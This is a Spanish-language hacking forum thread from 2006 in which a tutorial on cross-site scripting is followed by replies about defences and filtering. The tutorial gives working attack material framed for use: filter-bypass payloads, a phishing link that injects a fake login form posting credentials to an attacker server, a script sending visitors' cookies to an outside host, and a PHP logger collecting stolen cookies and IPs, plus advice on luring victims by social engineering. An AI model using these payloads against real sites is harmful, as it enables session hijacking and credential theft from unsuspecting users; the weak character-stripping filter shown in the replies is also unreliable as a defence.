XSS FINAL-Version TXT

s0cratex · 19 Marzo 2006, 07:05 AM

XSS FINAL - VERSION TXT

[ Index ]

>¿Qué son? // de donde viene, por que se dan?
>¿Para que nos sirven? // usos que le podemos dar, por que se dicen que se explotan...
>¿Como automatizarlos? // scripts necesarios para la automatizacion de los datos que nos interesan
>¿Como erradicarlos? //formas de realizar una programación segura

[ ¿Qué son? ]

El fallo se da por la capacidad que tiene cierta página de mostrar el contenido de una variable de un lenguaje web (javascript, php...etc) Al recoger los datos de la variable no valida su contenido y lo muestra a como lo leyo, pero el contenido al ser mostrado en el navegador va incluido en el código de fuente, y si la variable llevara códigos html estos formarían parte del contenido del sitio o siendo scripts al ser cargada la página estos se ejecutarían. | Este bug es muy común en Busquedas internas por ejemplo.

Ejemplos de códigos vulnerables:
Ex(1) en PHP:

Código [Seleccionar]

<?php
echo'<html><head><title>Ejemplo XSS Vuln</title></head><body><form action="'.$_SERVER[PHP_SELF].'" method="GET" name="form1"><center>Introduza su nombre: <input type="text" name="nombre"><input type="button" name=submit value="enviar"></body></html>';
$name = $_GET['nombre'];
echo"su nombre es $name"; 
?>

Ex(2) en javascript:

Código [Seleccionar]

<html>
<head><title>Example XSS Vuln</title></head>
<body>
<script languaje="javascript">
<!--
function Mostrarnombre()
{
   document.write('Su nombre es: ' + document.nombre.name.value);
}
//->
</script>
<form name="nombre">
<input type="text" name="name">
<a href="javascript:Mostrarnombre();">Mostrar nombre</a><br> 
</body>
</html>

En ambos casos podemos sustituir el valor del nombre por ejemplo por, <script>alert()</script>, y si salta un mensaje de alerta es que no hace ninguna comprobacion o bien es vulnerable a XSS.

[ ¿Para qué nos sirven? ]

Pues si estan dentro del hack deben de servir para algo no??, pues si... las html injections nos pueden servir para fines totalmente distintos:
-Apoderarnos del navegador de la victima
-Apoderarnos de la cookie de sesion de la victima
-Quedarnos con su password con ayuda de la ing social
-Modificar una página

Apoderandonos del navegador de la victima.
####################################

Con esto no quiero decir que vamos a tener una interfaz gráfica del navegador de la victima y vamos a poder manosearle el navegador a gusto y antojo. No, pero si es algo muy cercano a ello, por ejemplo con xss podemos hacer que el usuario visite una página sin su consentimiento, (¿no es esto pop-up?) nooo...claro que no, en primer lugar el pop-up es molesto (asi es su naturaleza) y nosotros podemos crear una página agradable que diga por ejemplo "redireccionando a nuestra página nueva".
OK ¿pero como redirecciono al man? <META HTTP-EQUIV=Refresh CONTENT="0; URL=http://www.tuserver.com/"> Este código lo que hace es redireccionar a www.tuserver.com en 0 segundos, osea ya!! Pero donde inserto esto?? Ajam, ahora si se los explico.

Cuando nosotros consideramos a una aplicacion vulnerable a XSS almenos yo las clasifico en 2 grupos:
1. Las aplicaciones webs que alojan el código, (como tagboard's, foros, libros de visitas, sistemas de comentarios..etc)
2. Las aplicaciones webs que muestran el contenido de cierta variable pero no la dejan alojada, por ejemplo un server que contenga una variable no comprobada asi:
http://www.elserver.com/app/index.php?chit=<script>alert()</script> en este caso por X o Y motivo el contenido de la variabel chit se muestra en pantalla, pero no aloja nada para mostrar despues, por eso siempre veras los bug's XSS como "nivel de gravedad:bajo" si no es que muuy bajo.

Pero que...¿inyectar este código no siempre es tan fácil? en ocasiones claro ayudandonos del código de la aplicacion web, veremos si las variables son comprobadas en ciertas condiciones, o inclusive intentar meter el código en una imágina o en su información EXIF o en la cookie. Las zonas donde podemos intentar localizar el bug son muchas. Es común que te encuentres con bugs de tipo:
<img dynsrc="javascript: codigo">
<input type="image" dynsrc="javascript: codigo">
<bgsound src="javascript: codigo">
Como observamos estos son algunas formas de saltarnos ciertas "protecciones".

Apoderandonos de la cookie de sesion de la victima.
###########################################
Repasemos: ¿qué es la cookie?
Los Cookies graban información acerca de su visita a un sitio en particular, y sólo el sitio que los creó los puede leer más tarde. Se usan cookies para hacer que su navegación en la Web sea más personal y conveniente. [hasta aquí...eso es lo principal]
El objetivo de este paper no es practicar el Cookie poisong, asi que sólo mostraré como sacar la cookie por XSS.
Una vez hallamos localizado una aplicacion vulnerable podemos obtener la cookie de la siguiente forma <script>alert(document.cookie)</script>
Y con gentileza nos devuelve la cookie. Esta si es de tipo [user::guest] podemos intentar cambiarla por [user::admin] para ver si nos logueamos como admins.
Pero con que cambio la cookie, Existen muchas toolz, (aparte claro de hacer la conexion manualmente y Poner el header Cookie:..etc) una de las toolz es IECV
Internet Explorer Cookie Viewer. Claro también las modifica.
ok, ahora para enviarnos la cookie?? Miren hacia abajo en ¿como automatizarlos?.

Quedandonos con su user y pass con ing. social.
#########################################

OK. ¿Cómo le hacemos para que la victima vaya a la página vulnerable?
Vamos con la ingenería social, que consiste en engañar a la gente para que haga algo, para esto nos valemos desde mails anónimos o técnicas avanzadas de phishing.

Por ejemplo podríamos enviar un mail a la víctima diciendo haciendonos pasar por una empresa, que ofrece un servicio (hosting gratuito, diseños gratis..etc) Y poner en el vínculo una dirección así:

Código [Seleccionar]

http://www.servervuln.com/index.php?varvuln=<form method="POST" action="http://www.tuserver.com/recv.php"><b>Introduzca los datos de su cuenta por favor:<br>Nombre: <input type="text" name="username"><br>Password: <input type="password" name="pass"><br><input type="button" value="enviar" name="botom"></form>

Eso es sólo un ejemplo unstedes mejorenlo según la situación.
-Ahora que si ya tenemos el script en una página sólo basta Mandarle la dirección. O hacerle aparecer un pop-up con javascript asi:

Código [Seleccionar]

<script language=javascript> 
function ventanaSecundaria (URL){ 
   window.open(URL,"ventana1","width=120,height=300,scrollbars=NO") 
} 
</script> 
<a href="javascript:ventanaSecundaria('http://www.elhacker.net')"> Hosting Gratuito</a>

--------------------------
Como puedes observar se puede hacer de todo las unicas limitantes son las del mismo tipo de script que insertemos.
--------------------------
Lean sobre la ing. social, pero no la mal interpreten que no es que toda la vida vas a andar engañando por alli, tienes que darte credibilidad como persona.

Modificando la página.
###################

Código [Seleccionar]

<div id="Hacked" style="position:absolute; width:200%; height:10000px;"z-index:1; left: 0px; top: 0px; background-color: #FFFFFF; layer-background-color: #FFFFFF; border: 1px none #000000;"><p align="center">&nbsp;</p> <p align="center">&nbsp;</p> <p align="center">&nbsp;</p> <p align="center">&nbsp;</p> <p align="center">&nbsp;</p> <p align="center">&nbsp;</p> <p align="center">HOLA.</p> <div align="left"> <blockquote> <p align="center">-s0cratex</p> </blockquote> </div> </div>

Este es un pequeño ejemplo, usando div. Ahora sólo cambiamos los valores.

eXtras
#####

1. no escribi acerca de:
url encode, por que nunca me ha sido de muxa utilidad, ademas firefox lo urlencodea automaticamente.

2. este tipo de ataques entre la comunidad de "hackers" son considerados como de "script kiddies" no su explotacion, si no el verlo como algo muy importante o usarlo en exceso (ya saben andar redireccionando a todo mundo)

3. escucharon acerca de un virus xss, es falso jeje (esa no es la funcion de un virus), pero la historia es medio-diver leanla.
[ ¿Cómo automatizarlos ? ]

Una vez encontramos un foro, y queremos quedarnos con la cookie del administrador. Entonces podemos hacer que todos los visitantes que por ejemplo miren el foro nos envien su cookie e IP. Con unas cuantas líneas mas podemos hacer que lo envíen al mail pero si se supone que el server atacante es nuestro no hay necesidad.
Asi:
en nuestro server colocamos el "gcookie.php" con el siguiente código->

Código [Seleccionar]

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("m/d/Y g:i:s a");
$referer=getenv ('HTTP_REFERER');
$fl = fopen('log.txt', 'a');
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");
fclose($fl);
?>

Código que pondremos en el foro o variable (con ing. social):

Código [Seleccionar]

<script>window.location='http://www.tuserver.com/gcookie.php?c='+document.cookie;</script>

[ ¿Cómo erradicarlos? ]

Desactivar el uso de scripting en el navegador.
Usar el mehotd POST y no GET.
Filtrar el contenido de las variables (ponganle las " ")

Texto creado por s0cratex [ernesto lópez] at s0cr4t3x@gmail.com
Versión html muy pronto (claro es mas monita)

sirdarckcat · 20 Marzo 2006, 08:35 AM

Hola.

Desactivar el uso de scripting en el navegador.
Eso dejaria inservible el 65% de las paginas webs.

Usar el mehotd POST y no GET.
Las variables $_POST se mezclan con $_GET si no se especifica una separación, el 99% $_POST = $_GET

Filtrar el contenido de las variables (ponganle las " ")
supongo que hablas de las magic_quotes pero muchas veces eso hace que tu programa no funcione correctamente, es mas smf desactiva las magic_quotes, y muchos otros programas tambien..

Lo mejor para evitar XSS en PHP es usar las funciones (urlencode ó htmlentities) + addslashes.

Saludos!!

s0cratex · 21 Marzo 2006, 23:59 PM

referente a desactivar el scripting de el navegador, no es cosa mía yo entiendo que cosas como la interactividad de una web, pero lo pongo desde el punto de vista de un usuario común. (recordemos que hasta el IE lo tiene desactivado por defecto al instalar en win2003)...lo que quiero decir es que la recomendacion no fui yo el que la cree, solo la transcribi.

con lo de el get y post, no entendi bien lo de separar, en si se recomienda post para no mostrar simplemente las variables.

Y lo de las resoluciones por parte del coder, me parecen bien, de hecho graxias!! intento crear un txt xss-final. Porque ya harta tanto artículo y a los textos "formales" y whitepapers sobre xss les falta muxa documentacion tecnica para los desarrolladores osea que deben y que no al codear una Web.
Por favor cooperen todos para crearlo!!

sirdarckcat · 23 Marzo 2006, 05:57 AM

Pues te ayudaria a como evitarlos, yo uso las tecnicas ya mencionadas.. pero estoy un poco mas orientado a su explotación, una ves que sabes como te atacan sabes como defenderte.. parece que tu estas enfocado exclusivamente a la defensa, pero te recuerdo que la secretaria de defensa de un pais tambien se encarga de atacar

.

Lo mas seguro para texto es usar htmlentities y specialchars, para pass urlencode para datos en sql, base64, si son datos numericos usar "(int)$variable" para demas datos, addslashes..

Saludos!!

Azielito · 23 Marzo 2006, 23:38 PM

hice una funcion para borrar algunos caracteres XD, puedes agregar todos los caracteres que quieras en el array y ya los eliminas por completo

Código [Seleccionar]

<?php
function limpia($var){
	$malo = array("\\","/",".","-",":",";","\'","<",">");
	$i=0;$o=count($malo);
	while($i<=$o){
	$var = str_replace($malo[$i],"",$var);
	$i++;
	}
	return $var;
}
$a=$_GET['a'];
$mitexto = limpia($a);
echo $mitexto;
?>

espeor que sirva de algo

s0cratex · 23 Marzo 2006, 23:50 PM

creen que estaría bien incluir lugares de explotacion no tan conocidos? algo como esto:
http://eyeonsecurity.org/papers/flash-xss.pdf
recordemos que es algo final y debe de llevar de todo...

ah! tambien incluir cookie poisong (para bypass), ya que la cookie es uno de los principales objetivos al momento de explotar este bug... bueno espero opinen.

-------------------------------------
Posibles soluciones al XSS, bien ordenado pero en ingles
http://www.cert.org/advisories/CA-2000-02.html
-------------------------------------

sdshadow · 29 Marzo 2006, 15:37 PM

Me queda una duda; si yo encuentro 1 web vulnerable y todo eso; el codigo para redireccionar, exactamente como lo meto para que se redireccionen todos los visitantes? es decir; mediante el navegador como con una sl inyection?

Si pueden decirme exactamente que acer lo agradezco; soy muy practico y se me hace dificil pensar en abstracto xD

s0cratex · 1 Abril 2006, 15:02 PM

en si para redireccionar necesitamos que una victima visualice
la página. Es decir que lo vulnerable sea un foro, tag, libro de visitas...etc
asi dejaríamos en vez de el nombre o del post el siguiente código:
<META HTTP-EQUIV=Refresh CONTENT="0; URL=http://www.elsitio.com/">

19.5 · 29 Julio 2007, 18:02 PM

Cita de: Azielito en 23 Marzo 2006, 23:38 PM
hice una funcion para borrar algunos caracteres XD, puedes agregar todos los caracteres que quieras en el array y ya los eliminas por completo
Código [Seleccionar] Expandir
<?php function limpia($var){ $malo = array("\\","/",".","-",":",";","\'","<",">"); $i=0;$o=count($malo); while($i<=$o){ $var = str_replace($malo[$i],"",$var); $i++; } return $var; } $a=$_GET['a']; $mitexto = limpia($a); echo $mitexto; ?>
espeor que sirva de algo

Esa está buena pero un usuario con mas conocimiento puede codificar esos carácteres y tu función ni se dará cuenta que están en la cadena. Y ojo que no hay sólo una forma de codificación...

sirdarckcat · 30 Julio 2007, 02:55 AM

19.5
dame un ejemplo

si codificas < por < por ejemplo, al momento de imprimirse, igual se imprimirá <, no <..
igual con urlencode(), etc.. cualquier codificación que no sea decodificada antes del echo, será enviada codificada de la misma forma..

Saludos!!